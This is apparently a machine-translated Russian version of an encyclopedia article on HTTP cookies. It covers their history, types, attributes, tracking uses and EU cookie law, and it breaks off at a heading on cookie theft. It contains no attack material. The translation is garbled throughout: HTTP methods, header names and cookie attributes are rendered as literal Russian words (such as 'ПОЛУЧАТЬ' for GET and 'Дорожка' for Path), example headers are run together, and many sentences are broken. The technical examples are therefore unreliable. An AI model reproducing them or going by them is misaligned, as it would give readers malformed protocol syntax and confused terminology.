HTTP cookie - HTTP cookie

Для использования в других целях см. Cookie (значения).

HTTP
Способы запроса
Поля заголовка
Коды состояния
Методы контроля доступа безопасности
Уязвимости безопасности

An HTTP cookie (также называемый веб-куки, Интернет-куки, cookie браузера, или просто печенье) - небольшой кусочек данные хранится на Пользователь компьютер у веб-браузер пока просмотр а интернет сайт. Файлы cookie были разработаны как надежный механизм для запоминания веб-сайтов сохранный информацию (например, товары, добавленные в корзину в онлайн магазин ) или для записи активности пользователя в браузере (включая нажатие определенных кнопок, Вход в систему, или запись, которая страницы были посещены в прошлом ). Их также можно использовать для запоминания фрагментов информации, которые пользователь ранее вводил. поля формы, например, имена, адреса, пароли, и номера платежных карт.

Файлы cookie выполняют важные функции в современном сеть. Возможно, самое главное, файлы cookie аутентификации являются наиболее распространенным методом, используемым веб-серверы чтобы узнать, вошел ли пользователь в систему или нет, и какие учетная запись они вошли в систему с. Без такого механизма сайт не знал бы, отправлять ли страницу, содержащую конфиденциальную информацию, или потребовать от пользователя аутентифицировать сами, войдя в систему. Безопасность файла cookie для аутентификации обычно зависит от безопасности веб-сайта, который его выпустил, и от пользователя веб-браузер, и от того, являются ли данные cookie зашифрованный. Уязвимости безопасности может разрешить чтение данных cookie хакер, используется для получения доступа к данные пользователя, или используется для получения доступа (с учетными данными пользователя) к веб-сайту, которому принадлежит файл cookie (см. межсайтовый скриптинг и подделка межсайтового запроса Например).[1]

Отслеживающие файлы cookie, и особенно сторонние файлы cookie для отслеживания, обычно используются как способы составления долгосрочных записей о физических лицах. истории просмотров - потенциал забота о конфиденциальности что побудило европейцев[2] и законодатели США примут меры в 2011 году.[3][4] Европейский закон требует, чтобы все веб-сайты, ориентированные на Евросоюз государства-члены получают "информированное согласие "от пользователей перед сохранением второстепенных файлов cookie на их устройстве.

Google Project Zero исследователь Янн Хорн описывает, как файлы cookie могут быть прочитаны посредники, подобно Вай фай провайдеры точек доступа. Он рекомендует использовать браузер в режим инкогнито в таких обстоятельствах.[5]

Фон

HTTP-файлы cookie разделяют свое имя с популярной выпечкой.

Происхождение названия

Термин «cookie» был придуман программистом веб-браузера. Лу Монтулли. Это произошло от термина "волшебное печенье ", который представляет собой пакет данных, который программа получает и отправляет в неизмененном виде, и используется Unix программисты.[6][7]

История

Волшебные файлы cookie уже использовались в вычислениях, когда программист Лу Монтулли придумал использовать их в веб-коммуникациях в июне 1994 года.[8] В то время он был сотрудником Netscape Communications, который разрабатывал электронная коммерция заявка MCI. Винт Серф и Джон Кленсин представлял MCI в технических обсуждениях с Netscape Communications. MCI не хотела, чтобы ее серверы сохраняли частичные состояния транзакций, поэтому они попросили Netscape найти способ сохранить это состояние на компьютере каждого пользователя. Файлы cookie позволили решить проблему надежной реализации виртуальная корзина для покупок.[9][10]

В том же году Монтулли вместе с Джоном Джаннандреа написал первоначальную спецификацию файлов cookie Netscape. Версия 0.9beta из Мозаика Netscape, выпущенный 13 октября 1994 г.,[11][12] поддерживаемые файлы cookie.[13] Первое использование файлов cookie (вне лаборатории) было проверкой того, посещали ли уже посетители веб-сайта Netscape. Montulli подал заявку на патент на технологию cookie в 1995 году, и США 5774670  был предоставлен в 1998 году. Поддержка файлов cookie была интегрирована в Internet Explorer в версии 2, выпущенной в октябре 1995 года.[14]

В то время о внедрении файлов cookie широкой публике не было известно. В частности, по умолчанию принимались файлы cookie, и пользователи не уведомлялись об их присутствии. Широкая публика узнала о файлах cookie после Financial Times опубликовал о них статью 12 февраля 1996 года.[15] В том же году файлы cookie привлекли большое внимание средств массовой информации, особенно из-за возможных последствий для конфиденциальности. Файлы cookie обсуждались в двух Федеральная торговая комиссия слушания в 1996 и 1997 годах.

Разработка официальных спецификаций файлов cookie уже продолжалась. В частности, первые обсуждения формальной спецификации начались в апреле 1995 года на www-talk. список рассылки. Специальная рабочая группа в рамках Инженерная группа Интернета (IETF) была создана. Два альтернативных предложения по введению состояния в транзакции HTTP были предложены Брайан Белендорф и Дэвид Кристол соответственно. Но группа, возглавляемая самим Кристолом и Лу Монтулли, вскоре решила использовать спецификацию Netscape в качестве отправной точки. В феврале 1996 года рабочая группа определила сторонние файлы cookie как серьезную угрозу конфиденциальности. Спецификация, разработанная группой, была в конечном итоге опубликована как RFC 2109 в феврале 1997 г. В нем указано, что сторонние файлы cookie либо вообще не разрешены, либо, по крайней мере, не включены по умолчанию.

В это время рекламные компании уже использовали сторонние файлы cookie. Рекомендация относительно сторонних файлов cookie RFC 2109 за ним не последовали Netscape и Internet Explorer. RFC 2109 был заменен RFC 2965 в октябре 2000 г.

RFC 2965 добавил Set-Cookie2 заголовок, который неофициально стал называться "RFC 2965 -style cookies "в отличие от оригинала Set-Cookie заголовок, который назывался «куки-файлы в стиле Netscape».[16][17] Set-Cookie2 однако использовался редко и был устарел в RFC 6265 в апреле 2011 года, который был написан как окончательная спецификация для файлов cookie, используемых в реальном мире.[18]

Терминология

Сессионный файл cookie

А файл cookie сеанса, также известный как cookie в памяти, временный файл cookie или же непостоянный файл cookie, существует только во временной памяти, пока пользователь перемещается по веб-сайту.[19]Веб-браузеры обычно удаляют файлы cookie сеанса, когда пользователь закрывает браузер.[20] В отличие от других файлов cookie, сеансовые файлы cookie не имеют назначенной даты истечения срока действия, поэтому браузер распознает их как файлы cookie сеанса.

Постоянный файл cookie

Вместо истечения срока действия при закрытии веб-браузера, как это делают файлы cookie сеанса, постоянный файл cookie истекает в определенный день или через определенный промежуток времени. В течение срока жизни постоянного файла cookie, установленного его создателем, его информация будет передаваться на сервер каждый раз, когда пользователь посещает веб-сайт, которому он принадлежит, или каждый раз, когда пользователь просматривает ресурс, принадлежащий этому веб-сайту, с другого веб-сайта (например, реклама ).

По этой причине постоянные файлы cookie иногда называют файлы cookie для отслеживания потому что они могут использоваться рекламодателями для записи информации о привычках пользователя к просмотру веб-страниц в течение длительного периода времени. Однако они также используются по «законным» причинам (например, для того, чтобы пользователи находились в своих учетных записях на веб-сайтах, чтобы избежать повторного ввода учетных данных для входа при каждом посещении).

Безопасный куки

А безопасный файл cookie может передаваться только по зашифрованному соединению (т. е. HTTPS ). Они не могут передаваться по незашифрованным соединениям (т. Е. HTTP ). Это снижает вероятность того, что файл cookie будет подвергнут краже через перехват. Файл cookie становится безопасным путем добавления Безопасный пометить cookie.

HTTP-файл cookie

An только http-файл cookie недоступны для клиентских API, таких как JavaScript. Это ограничение устраняет угрозу кражи файлов cookie через межсайтовый скриптинг (XSS). Однако cookie остается уязвимым для межсайтовая трассировка (XST) и подделка межсайтового запроса (CSRF) атаки. Эта характеристика присваивается файлу cookie путем добавления HttpOnly пометить cookie.

Файл cookie на том же сайте

В 2016 г. Гугл Хром представлена ​​версия 51[21] новый вид cookie с атрибутом SameSite. Атрибут SameSite может иметь значение Строгий, Lax или же Никто.[22] С атрибутом SameSite = Строгий, браузеры должны отправлять эти файлы cookie только с запросами, исходящими из того же домена / сайта, что и целевой домен. Это эффективно уменьшит подделка межсайтового запроса (CSRF) атаки.[23] SameSite = Lax не будет ограничивать исходный сайт, но заставит целевой домен быть таким же, как домен cookie, эффективно блокируя сторонние (межсайтовые) файлы cookie. Атрибут SameSite = Нет разрешит сторонние (межсайтовые) файлы cookie. Cookie-файл того же сайта включен в новый проект RFC "Cookies: HTTP State Management Mechanism" для обновления RFC6265 (если утвержден).

Chrome, Firefox, Microsoft Edge начали поддерживать файлы cookie на одном сайте.[24] Ключом к развертыванию является обработка существующих файлов cookie без определенного атрибута SameSite, Chrome обрабатывает эти существующие файлы cookie так, как если бы SameSite = None, при этом все веб-сайты / приложения будут работать как раньше. Google намеревался изменить это значение по умолчанию на SameSite = Lax в феврале 2020 года,[25] изменение приведет к поломке этих приложений / веб-сайтов, если они полагаются на сторонние / межсайтовые файлы cookie, но без определенного атрибута SameSite. Учитывая обширные изменения для веб-разработчиков и COVID-19 обстоятельства, Google временно отменил изменение cookie SameSite.[26]

Сторонний файл cookie

Обычно атрибут домена файла cookie соответствует домену, который отображается в адресной строке веб-браузера. Это называется основной файл cookie. А сторонний файл cookieоднако принадлежит к домену, отличному от того, который показан в адресной строке. Этот тип файлов cookie обычно появляется, когда веб-страницы содержат контент с внешних веб-сайтов, например баннерная реклама. Это открывает возможности для отслеживание история просмотров пользователя и часто используется рекламодателями, чтобы показывать релевантную рекламу каждому пользователю.

В качестве примера предположим, что пользователь посещает www.example.org. Этот сайт содержит рекламу от ad.foxytracking.com, который при загрузке устанавливает cookie, принадлежащий домену объявления (ad.foxytracking.com). Затем пользователь заходит на другой веб-сайт, www.foo.com, который также содержит рекламу от ad.foxytracking.com и устанавливает cookie, принадлежащий этому домену (ad.foxytracking.com). В конце концов, оба этих файла cookie будут отправлены рекламодателю при загрузке его рекламы или посещении его веб-сайта. Затем рекламодатель может использовать эти файлы cookie для создания истории просмотров пользователя на всех веб-сайтах, на которых есть реклама этого рекламодателя, с помощью HTTP-реферер поле заголовка.

По состоянию на 2014 г., некоторые веб-сайты устанавливали файлы cookie, доступные для чтения более чем для 100 сторонних доменов.[27] В среднем на одном веб-сайте установлено 10 файлов cookie, при этом максимальное количество файлов cookie (собственных и сторонних) превышает 800.[28]

Большинство современных веб-браузеров содержат настройки конфиденциальности это может блокировать сторонние файлы cookie. Гугл Хром представила новые функции для блокировки сторонних файлов cookie. Отныне они теперь по умолчанию блокируются в режиме инкогнито, в то время как пользователь может также заблокировать их в обычном режиме просмотра. В обновлении также добавлена ​​возможность блокировать собственные файлы cookie.[29]

Некоторые браузеры блокируют сторонние файлы cookie. По состоянию на июль 2020 г. Apple Safari,[30] Fire Fox,[31] и Храбрый,[32] по умолчанию блокировать все сторонние файлы cookie. Safari позволяет встроенным сайтам использовать Storage Access API для запроса разрешения на установку основных файлов cookie. Chrome планирует начать блокировку сторонних файлов cookie к 2022 году.[33]

Суперпеченье

А суперпеченье это файл cookie с источником домен верхнего уровня (Такие как .com) или публичный суффикс (например, .co.uk). Обычные файлы cookie, напротив, имеют происхождение от определенного доменного имени, например example.com.

Супер-файлы cookie могут представлять потенциальную угрозу безопасности и поэтому часто блокируются веб-браузерами. В случае разблокировки браузером злоумышленник, контролирующий вредоносный веб-сайт, может установить супер-файл cookie и потенциально нарушить или выдать себя за законные запросы пользователей к другому веб-сайту, который имеет тот же домен верхнего уровня или общедоступный суффикс, что и вредоносный веб-сайт. Например, супер-печенье с происхождением .com, может злонамеренно повлиять на запрос к example.com, даже если файл cookie не был получен example.com. Это может быть использовано для подделки логинов или изменения информации пользователя.

В Список общедоступных суффиксов[34] помогает снизить риск, связанный с супер-куки. Список общедоступных суффиксов - это межпроизводственная инициатива, цель которой - предоставить точный и актуальный список суффиксов доменных имен. В более старых версиях браузеров может не быть актуального списка, и поэтому они будут уязвимы для супер-файлов cookie из определенных доменов.

Другое использование

Термин «супер-файлы cookie» иногда используется для технологий отслеживания, которые не полагаются на файлы cookie HTTP. В августе 2011 года на веб-сайтах Microsoft были обнаружены два таких механизма «супер-файлов cookie»: синхронизация файлов cookie, которая воспроизводит файлы cookie MUID (уникальный идентификатор компьютера), и ETag печенье.[35] Из-за внимания средств массовой информации Microsoft позже отключила этот код.[36]

Зомби печенье

Основные статьи: Зомби печенье и Evercookie

А зомби печенье это файл cookie, который автоматически создается заново после удаления. Это достигается путем хранения содержимого файла cookie в нескольких местах, например Flash Локальный общий объект, HTML5 веб-хранилище и другие расположения на стороне клиента и даже на стороне сервера. Когда обнаруживается отсутствие cookie,[требуется разъяснение ] куки воссоздается[требуется разъяснение ] используя данные, хранящиеся в этих местах. [37][38]

Структура

Файл cookie состоит из следующих компонентов:[39][40]

  1. Имя
  2. Ценить
  3. Ноль или более атрибутов (пары имя / значение ). В атрибутах хранится такая информация, как срок действия cookie, домен и флаги (например, Безопасный и HttpOnly).

Использует

Управление сессией

Изначально файлы cookie были введены для того, чтобы пользователи могли записывать товары, которые они хотят приобрести, во время навигации по веб-сайту (виртуальная «корзина для покупок» или «корзина для покупок»).[9][10] Однако сегодня содержимое корзины покупок пользователя обычно хранится в базе данных на сервере, а не в файле cookie на клиенте. Чтобы отслеживать, какой пользователь привязан к какой корзине покупок, сервер отправляет клиенту файл cookie, содержащий уникальный идентификатор сеанса (обычно длинная строка из случайных букв и цифр). Поскольку файлы cookie отправляются на сервер с каждым запросом, который делает клиент, этот идентификатор сеанса будет отправляться обратно на сервер каждый раз, когда пользователь посещает новую страницу на веб-сайте, что позволяет серверу знать, какую корзину для покупок отображать для пользователя.

Еще одно популярное использование файлов cookie - это вход на веб-сайты. Когда пользователь посещает страницу входа на веб-сайт, веб-сервер обычно отправляет клиенту файл cookie, содержащий уникальный идентификатор сеанса. Когда пользователь успешно входит в систему, сервер запоминает, что этот конкретный идентификатор сеанса был аутентифицирован, и предоставляет пользователю доступ к своим службам.

Поскольку файлы cookie сеанса содержат только уникальный идентификатор сеанса, это делает количество личной информации, которую веб-сайт может сохранить о каждом пользователе, практически безграничным - веб-сайт не ограничивается ограничениями, касающимися размера файла cookie. Сеансовые файлы cookie также помогают сократить время загрузки страницы, поскольку объем информации в файле cookie сеанса невелик и требует небольшой полосы пропускания.

Персонализация

Файлы cookie могут использоваться для запоминания информации о пользователе, чтобы с течением времени показывать ему соответствующий контент. Например, веб-сервер может отправить файл cookie, содержащий имя пользователя, которое в последний раз использовалось для входа на веб-сайт, чтобы оно могло быть заполнено автоматически при следующем входе пользователя в систему.

Многие веб-сайты используют файлы cookie для персонализации в зависимости от предпочтений пользователя. Пользователи выбирают свои предпочтения, вводя их в веб-форму и отправляя форму на сервер. Сервер кодирует настройки в файле cookie и отправляет файл cookie обратно в браузер. Таким образом, каждый раз, когда пользователь обращается к странице на веб-сайте, сервер может персонализировать страницу в соответствии с предпочтениями пользователя. Например, Google когда-то поисковая система использовала файлы cookie, чтобы позволить пользователям (даже незарегистрированным) решать, сколько результатов поиска на странице они хотят видеть. УткаУтка использует файлы cookie, чтобы позволить пользователям устанавливать предпочтения просмотра, такие как цвета веб-страницы.

Отслеживание

Смотрите также: Веб-отслеживание

Файлы cookie для отслеживания используются для отслеживания привычек пользователей при просмотре веб-страниц. В некоторой степени это также можно сделать, используя айпи адрес компьютера, запрашивающего страницу или референт поле HTTP заголовок запроса, но файлы cookie позволяют добиться большей точности. Это можно продемонстрировать следующим образом:

  1. Если пользователь запрашивает страницу сайта, но запрос не содержит cookie, сервер предполагает, что это первая страница, которую посетил пользователь. Таким образом, сервер создает уникальный идентификатор (обычно строку из случайных букв и цифр) и отправляет его в виде файла cookie обратно в браузер вместе с запрошенной страницей.
  2. С этого момента файл cookie будет автоматически отправляться браузером на сервер каждый раз, когда запрашивается новая страница с сайта. Сервер не только отправляет страницу как обычно, но также сохраняет URL-адрес запрошенной страницы, дату / время запроса и файл cookie в файле журнала.

Анализируя этот файл журнала, можно узнать, какие страницы посетил пользователь, в какой последовательности и как долго.

Корпорации используют веб-привычки пользователей, отслеживая файлы cookie для сбора информации о покупательских привычках. В Wall Street Journal обнаружили, что на пятидесяти ведущих веб-сайтах Америки на компьютерах установлено в среднем шестьдесят четыре устройства отслеживания, в результате чего было получено 3180 файлов отслеживания.[41] Затем данные могут быть собраны и проданы участвующим в торгах корпорациям.

Выполнение

Возможное взаимодействие между веб-браузером и веб-сервером, содержащим веб-страницу, при котором сервер отправляет файл cookie в браузер, а браузер отправляет его обратно при запросе другой страницы.

Файлы cookie - это произвольные фрагменты данных, которые обычно выбираются и сначала отправляются веб-сервером, а затем сохраняются на клиентском компьютере веб-браузером. Затем браузер отправляет их обратно на сервер с каждым запросом, вводя состояния (память о предыдущих событиях) в противном случае HTTP транзакции. Без файлов cookie каждое извлечение страница в Интернете или компонент веб-страницы будет изолированным событием, в значительной степени не связанным со всеми другими просмотрами страниц, сделанными пользователем на веб-сайте. Хотя файлы cookie обычно устанавливаются веб-сервером, они также могут быть установлены клиентом с помощью языка сценариев, например JavaScript (если файл cookie HttpOnly установлен флаг, и в этом случае файл cookie не может быть изменен языками сценариев).

Спецификации файлов cookie[42][43] требуют, чтобы браузеры соответствовали следующим требованиям для поддержки файлов cookie:

  • Может поддерживать файлы cookie размером до 4096 байты по размеру.
  • Может поддерживать не менее 50 файлов cookie на домен (т.е. на веб-сайт).
  • Всего может поддерживать не менее 3000 файлов cookie.

Установка куки

Файлы cookie устанавливаются с помощью Set-Cookie Заголовок HTTP, отправленный в HTTP-ответе веб-сервера. Этот заголовок предписывает веб-браузеру сохранить файл cookie и отправить его в будущих запросах на сервер (браузер проигнорирует этот заголовок, если он не поддерживает файлы cookie или отключил файлы cookie).

Например, браузер отправляет свой первый запрос на домашнюю страницу www.example.org интернет сайт:

ПОЛУЧАТЬ /index.html HTTP/1.1Хозяин: www.example.org...

Сервер отвечает двумя Set-Cookie заголовки:

HTTP/1.0 200 OkТип содержимого: текст / htmlSet-Cookie: тема = светSet-Cookie: sessionToken = abc123; Срок действия истекает = среда, 09 июн 2021 10:18:14 GMT...

HTTP-ответ сервера содержит содержимое домашней страницы веб-сайта. Но он также указывает браузеру установить два файла cookie. Первая, «тема», считается файл cookie сеанса поскольку у него нет Истекает или же Максимальный возраст атрибут. Сессионные куки-файлы предназначены для удаления браузером при закрытии браузера. Второй, sessionToken, считается постоянный файл cookie поскольку он содержит Истекает атрибут, который указывает браузеру удалить файл cookie в определенную дату и время.

Затем браузер отправляет еще один запрос на посещение spec.html страницу на сайте. Этот запрос содержит Cookie-файлы HTTP-заголовок, содержащий два файла cookie, которые сервер дал браузеру команду установить:

ПОЛУЧАТЬ /spec.html HTTP/1.1Хозяин: www.example.orgCookie-файлы: тема = свет; sessionToken = abc123…

Таким образом, сервер знает, что этот запрос связан с предыдущим. Сервер ответит, отправив запрошенную страницу, возможно, включая другие Set-Cookie заголовки в ответе для добавления новых файлов cookie, изменения существующих файлов cookie или удаления файлов cookie.

Значение cookie может быть изменено сервером путем включения Set-Cookie заголовок в ответ на запрос страницы. Затем браузер заменяет старое значение новым значением.

Значение cookie может состоять из любого печатаемого ASCII персонаж (! через ~, Unicode u0021 через u007E) без учета , и ; и пробельные символы. В названии cookie исключаются такие же символы, а также =, поскольку это разделитель между именем и значением. Стандарт cookie RFC 2965 является более строгим, но не реализуется браузерами.

Термин «крошка cookie» иногда используется для обозначения пары «имя-значение» cookie.[44]

Файлы cookie также могут быть установлены с помощью языков сценариев, таких как JavaScript которые запускаются в браузере. В JavaScript объект document.cookie используется для этой цели. Например, инструкция document.cookie = "temperature = 20" создает файл cookie с именем «температура» и значением «20».[45]

Атрибуты cookie

Помимо имени и значения, файлы cookie также могут иметь один или несколько атрибутов. Браузеры не включают атрибуты cookie в запросы к серверу - они отправляют только имя и значение cookie. Атрибуты файлов cookie используются браузерами, чтобы определить, когда удалить файл cookie, заблокировать файл cookie или отправить файл cookie на сервер.

Домен и путь

В Домен и Дорожка атрибуты определяют объем файла cookie. По сути, они сообщают браузеру, какому веб-сайту принадлежит файл cookie. По очевидным причинам безопасности файлы cookie могут быть установлены только для верхнего домена текущего ресурса и его поддоменов, но не для другого домена и его поддоменов. Например, сайт example.org не может установить файл cookie с доменом foo.com потому что это позволило бы example.org веб-сайт для управления файлами cookie foo.com.

Если файл cookie Домен и Дорожка атрибуты не указываются сервером, по умолчанию они соответствуют домену и пути запрошенного ресурса.[46] Однако в большинстве браузеров есть разница между файлом cookie, установленным из foo.com без домена и файл cookie с foo.com домен. В первом случае cookie будет отправляться только для запросов к foo.com, также известный как cookie только для хоста. В последнем случае также включаются все поддомены (например, docs.foo.com).[47][48] Заметным исключением из этого общего правила является Edge до Windows 10 RS3 и Internet Explorer до IE 11 и Windows 10 RS4 (апрель 2018 г.), которые всегда отправляют файлы cookie в поддомены независимо от того, был ли файл cookie установлен с доменом или без него.[49]

Ниже приведен пример некоторых Set-Cookie Заголовки ответов HTTP, которые отправляются с веб-сайта после входа пользователя в систему. HTTP-запрос был отправлен на веб-страницу в docs.foo.com поддомен:

HTTP/1.0 200 OkSet-Cookie: LSID = DQAAAK… Eaem_vYg; Путь = / accounts; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 GMT; Безопасный; HttpOnlySet-Cookie: HSID = AYQEVn… DKrdst; Домен = .foo.com; Путь = /; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 GMT; HttpOnlySet-Cookie: SSID = Ap4P… GTEq; Домен = foo.com; Путь = /; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 GMT; Безопасный; HttpOnly…

Первое печенье, LSID, не имеет Домен атрибут и имеет Дорожка атрибут установлен на /учетные записи. Это указывает браузеру использовать файл cookie только при запросе страниц, содержащихся в docs.foo.com/accounts (домен является производным от домена запроса). Два других файла cookie, HSID и SSID, будет использоваться, когда браузер запрашивает любой субдомен в .foo.com по любому пути (например www.foo.com/bar). Предварительная точка не является обязательной в последних стандартах, но может быть добавлена ​​для совместимости с RFC 2109 реализации на основе.[50]

Срок действия и максимальный возраст

В Истекает Атрибут определяет конкретную дату и время, когда браузер должен удалить cookie. Дата и время указываются в форме Вт, ДД Пн ГГГГ ЧЧ: ММ: СС GMT, или в виде Вт, ДД Пн ГГ ЧЧ: ММ: СС GMT для значений YY, где YY больше или равно 0 и меньше или равно 69.[51]

В качестве альтернативы Максимальный возраст Атрибут может использоваться, чтобы установить срок действия cookie как интервал в секундах в будущем относительно времени, когда браузер получил cookie. Ниже приведен пример трех Set-Cookie заголовки, полученные с веб-сайта после входа пользователя в систему:

HTTP/1.0 200 OkSet-Cookie: lu = Rg3vHJZnehYLjVg7qi3bZjzg; Срок действия истекает = Вт, 15 января 2013 г., 21:47:38 GMT; Путь = /; Домен = .example.com; HttpOnlySet-Cookie: made_write_conn = 1295214458; Путь = /; Домен = .example.comSet-Cookie: reg_fb_gate = удалено; Срок действия истекает = Thu, 01 Jan 1970 00:00:01 GMT; Путь = /; Домен = .example.com; HttpOnly

Первое печенье, Лусрок действия истекает 15 января 2013 года. До этого времени он будет использоваться клиентским браузером. Второе печенье, made_write_conn, не имеет срока годности, что делает его файлом cookie сеанса. Он будет удален после того, как пользователь закроет свой браузер. Третье печенье, reg_fb_gate, его значение изменено на «удалено», срок действия которого истекает в прошлом. Браузер немедленно удалит этот файл cookie, потому что срок его действия уже прошел. Обратите внимание, что файл cookie будет удален только в том случае, если атрибуты домена и пути в Set-Cookie соответствуют значениям, использованным при создании файла cookie.

По состоянию на 2016 год Internet Explorer не поддерживает Максимальный возраст.[52][53]

Безопасность и HttpOnly

В Безопасный и HttpOnly атрибуты не имеют связанных значений. Скорее, наличие только их имен атрибутов указывает на то, что их поведение должно быть включено.

В Безопасный Атрибут предназначен для ограничения обмена файлами cookie зашифрованной передачей, указывая браузерам использовать файлы cookie только через безопасный / зашифрованный соединения. Однако, если веб-сервер устанавливает файл cookie с атрибутом безопасности из незащищенного соединения, файл cookie все еще может быть перехвачен, когда он отправляется пользователю с помощью атаки человек-посередине. Поэтому для максимальной безопасности файлы cookie с атрибутом Secure следует устанавливать только через безопасное соединение.

В HttpOnly Атрибут указывает браузерам не предоставлять файлы cookie по каналам, отличным от запросов HTTP (и HTTPS). Это означает, что к файлу cookie нельзя получить доступ через языки сценариев на стороне клиента (особенно JavaScript ), поэтому их нельзя легко украсть через межсайтовый скриптинг (техника всепроникающей атаки).[54]

Настройки браузера

Большинство современных браузеров поддерживают файлы cookie и позволяют пользователю отключать их. Ниже приведены распространенные варианты:[55]

  • Чтобы полностью включить или отключить файлы cookie, чтобы они всегда принимались или всегда блокировались.
  • Для просмотра и выборочного удаления файлов cookie с помощью диспетчера файлов cookie.
  • Чтобы полностью стереть все личные данные, включая файлы cookie.

По умолчанию Internet Explorer разрешает сторонние файлы cookie, только если они сопровождаются P3P Поле «CP» (Компактная политика).[56]

Также существуют дополнительные инструменты для управления разрешениями на файлы cookie.[57][58][59][60]

Конфиденциальность и сторонние файлы cookie

Смотрите также: Не отслеживать и Веб-аналитика § Проблемы с файлами cookie

Файлы cookie имеют важное значение для конфиденциальности и анонимности пользователей Интернета. Хотя файлы cookie отправляются только на сервер, устанавливающий их, или на сервер в том же домене Интернета, веб-страница может содержать изображения или другие компоненты, хранящиеся на серверах в других доменах. Файлы cookie, которые устанавливаются при извлечении этих компонентов, называются сторонние файлы cookie. Старые стандарты для файлов cookie, RFC 2109 и RFC 2965 укажите, что браузеры должны защищать конфиденциальность пользователей и не разрешать совместное использование файлов cookie между серверами по умолчанию. Однако более новый стандарт RFC 6265, явно позволяет пользовательским агентам реализовывать любую политику сторонних файлов cookie, которую они пожелают. Большинство браузеров, например Mozilla Firefox, Internet Explorer, Опера, и Гугл Хром, разрешить сторонние файлы cookie по умолчанию, если на стороннем веб-сайте Политика конфиденциальности Compact опубликовано. Более новые версии Сафари блокировать сторонние файлы cookie, и это запланировано и для Mozilla Firefox (изначально планировалось для версии 22, но отложено на неопределенный срок).[61]

В этом вымышленном примере рекламная компания разместила баннеры на двух веб-сайтах. Размещая изображения баннеров на своих серверах и используя сторонние файлы cookie, рекламная компания может отслеживать просмотр пользователей на этих двух сайтах.

Рекламные компании используют сторонние файлы cookie для отслеживания пользователя на нескольких сайтах. В частности, рекламная компания может отслеживать пользователя на всех страницах, где размещены рекламные изображения или веб-ошибки. Знание страниц, которые посещает пользователь, позволяет рекламной компании настраивать таргетинг рекламных объявлений на предполагаемые предпочтения пользователя.

Операторы веб-сайтов, которые не сообщают потребителям об использовании сторонних файлов cookie, рискуют подорвать доверие потребителей в случае обнаружения использования файлов cookie. Четкое раскрытие информации (например, в политика конфиденциальности ) стремится устранить любые негативные последствия открытия таких файлов cookie.[62]

Возможность создания профиля пользователей представляет собой угрозу конфиденциальности, особенно когда отслеживание выполняется в нескольких доменах с использованием сторонних файлов cookie. По этой причине в некоторых странах есть законы о файлах cookie.

В Соединенные Штаты Правительство установило строгие правила по установке файлов cookie в 2000 году после того, как стало известно, что Белый дом офис наркополитики использовали файлы cookie для отслеживания пользователей компьютеров, просматривающих его антинаркотическую рекламу в Интернете. В 2002 году активист защиты конфиденциальности Дэниел Брандт обнаружил, что ЦРУ оставлял постоянные файлы cookie на компьютерах, которые посещали его веб-сайт. Получив уведомление о нарушении политики, ЦРУ заявило, что эти файлы cookie не были установлены намеренно, и прекратило их установку.[63] 25 декабря 2005 г. Брандт обнаружил, что Национальное Агенство Безопасности (АНБ) оставляло два постоянных файла cookie на компьютерах посетителей из-за обновления программного обеспечения. Получив уведомление, АНБ немедленно отключило файлы cookie.[64]

Директива ЕС о файлах cookie

В 2002 году Европейский Союз запустил Директива о конфиденциальности и электронных коммуникациях, политика, требующая согласия конечных пользователей на размещение файлов cookie, и аналогичные технологии для хранения и доступа к информации на оборудовании пользователей.[65][66] В частности, пункт 3 статьи 5 предусматривает, что сохранение данных на компьютере пользователя может быть выполнено только в том случае, если пользователю предоставлена ​​информация о том, как эти данные используются, и пользователю предоставляется возможность запретить эту операцию сохранения.

Директива 95/46 / EC определяет «согласие субъекта данных» как «любое свободно данное конкретное и информированное указание на его пожелания, посредством которого субъект данных выражает свое согласие на обработку персональных данных, относящихся к нему».[67] Согласие должно включать в себя некоторую форму общения, когда люди сознательно выражают свое согласие.[66]

В 2009 году в политику были внесены поправки Директивой 2009/136 / EC, которая включала изменение в Статью 5, Параграф 3. Вместо того, чтобы дать пользователям возможность отказаться от хранения файлов cookie, пересмотренная Директива требует получения согласия на использование файлов cookie. место хранения.[66]

В июне 2012 г. защита данных власти приняли заключение, в котором разъясняется, что некоторые пользователи файлов cookie могут быть освобождены от требования получения согласия:

  • Некоторые файлы cookie могут быть освобождены от информированного согласия при определенных условиях, если они не используются для дополнительных целей. Эти файлы cookie включают файлы cookie, используемые для отслеживания ввода данных пользователем при заполнении онлайн-форм или в качестве корзины покупок.
  • Собственные аналитические файлы cookie вряд ли создадут риск для конфиденциальности, если веб-сайты предоставляют пользователям четкую информацию о файлах cookie и мерах безопасности.[68]

Реакция отрасли была в основном негативной. Роберт Бонд из юридической фирмы Speechly Bircham описывает последствия как «далеко идущие и невероятно обременительные» для «всех британских компаний». Саймон Дэвис из Privacy International утверждает, что надлежащее правоприменение «уничтожит всю отрасль».[69]

В 2016 г. Общие правила защиты данных (GDPR) был принят в ЕС. Согласно Декларации 30 GDPR, физические лица могут быть связаны с идентификаторами файлов cookie. Таким образом, файлы cookie могут рассматриваться как персональные данные и, следовательно, подпадают под действие GDPR. Для использования таких файлов cookie компании должны получить предварительное согласие пользователя.

В P3P спецификация предлагает серверу возможность заявить политику конфиденциальности, используя Заголовок HTTP, который указывает, какую информацию он собирает и с какой целью. Эти политики включают (но не ограничиваются) использование информации, собранной с помощью файлов cookie. Согласно спецификации P3P, браузер может принимать или отклонять файлы cookie, сравнивая политику конфиденциальности с сохраненными пользовательскими настройками или спрашивая пользователя, представляя ему политику конфиденциальности, объявленную сервером. Однако спецификация P3P подверглась критике со стороны веб-разработчиков за ее сложность. На некоторых веб-сайтах это неправильно реализовано. Например, Facebook в шутку использовал "HONK" в качестве заголовка P3P в течение некоторого периода.[70] Только Internet Explorer обеспечивает адекватную поддержку спецификации.

Сторонние файлы cookie могут быть заблокированы большинством браузеров, чтобы повысить конфиденциальность и сократить отслеживание со стороны рекламных и отслеживающих компаний, не оказывая отрицательного воздействия на работу пользователя в Интернете. Многие рекламные операторы имеют возможность отказаться от поведенческой рекламы, при этом общий файл cookie в браузере останавливает поведенческую рекламу.[70][71]

Кража файлов cookie и захват сеанса

